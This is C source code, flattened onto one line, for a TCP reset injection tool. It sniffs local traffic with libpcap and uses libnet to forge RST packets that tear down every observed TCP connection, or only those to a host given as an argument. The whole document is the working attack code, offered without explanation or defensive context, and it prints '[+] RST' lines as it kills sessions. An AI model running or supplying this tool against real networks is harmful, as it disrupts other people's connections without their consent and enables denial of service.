#include <libnet.h> #include <pcap.h> #include <netdb.h> #define ETHLEN 16 #define IPLEN sizeof(struct iphdr) #define TCPLEN sizeof(struct tcphdr) typedef unsigned char u8; typedef unsigned short int u16; typedef unsigned long int u32; typedef enum { false,true } BOOL; void err (char *errbuf) { fprintf (stderr,"[-] Error: %s\n",errbuf); exit(1); } void rst_inj3ct (struct iphdr ip, struct tcphdr tcp, libnet_t *l) { int hlen = LIBNET_TCP_H + LIBNET_IPV4_H + LIBNET_ETH_H; char src[INET6_ADDRSTRLEN],dst[INET6_ADDRSTRLEN]; char neterr[LIBNET_ERRBUF_SIZE]; if (libnet_build_tcp( htons(tcp.dest), htons(tcp.source), htonl(tcp.ack_seq), htonl(tcp.seq)+1, TH_RST, htons(32767), 0, 0, htons(TCPLEN), (u8*) 0, 0, l, 0) < 0) err(neterr); if (libnet_build_ipv4( hlen, 0, 0x200, 0, 64, IPPROTO_TCP, 0, ip.daddr, ip.saddr, NULL, 0, l, 0) < 0) err(neterr); inet_ntop (AF_INET, &ip.saddr, src, sizeof(src)); inet_ntop (AF_INET, &ip.daddr, dst, sizeof(dst)); printf ("[+] RST *** %s:%d > %s:%d\n",src,htons (tcp. source),dst,htons (tcp. dest)); if (libnet_write(l)<0) err(neterr); } main(int argc, char **argv) { u32 addr=0; int i; char neterr[LIBNET_ERRBUF_SIZE]; char caperr[PCAP_ERRBUF_SIZE]; char host[INET6_ADDRSTRLEN]; const unsigned char *packet=NULL; BOOL to_host=false; struct pcap_pkthdr pkthdr; struct bpf_program filter; struct iphdr ip; struct tcphdr tcp; struct hostent *h; bpf_u_int32 net=0,mask=0; pcap_t *p; libnet_t *l; if (argv[1]) { if (!(h=gethostbyname(argv[1]))) { fprintf (stderr,"[-] Unable to resolve %s\n",argv[1]); exit(1); } inet_ntop (h->h_addrtype, h->h_addr, host, sizeof(host)); to_host=true; } if (!(l=libnet_init(LIBNET_RAW4,NULL,neterr))) err(neterr); if (!(p=pcap_open_live(NULL,BUFSIZ,0,0,caperr))) err(caperr); if (pcap_lookupnet(NULL,&net,&mask,caperr)) err(caperr); pcap_compile(p,&filter,"(tcp[13] == 0x10) or (tcp[13] == 0x18)",1,mask); pcap_setfilter(p,&filter); if ((addr=libnet_get_ipaddr4(l))<0) err(neterr); while (1) { packet=pcap_next(p,&pkthdr); if (packet) { memcpy (&ip,packet+ETHLEN,IPLEN); if (ip.protocol==IPPROTO_TCP) { memcpy (&tcp,packet+ETHLEN+IPLEN,TCPLEN); if (to_host) { if (ip.daddr==inet_addr(host)) rst_inj3ct(ip,tcp,l); } else rst_inj3ct(ip,tcp,l); } } } libnet_destroy(l); pcap_close(p); }
|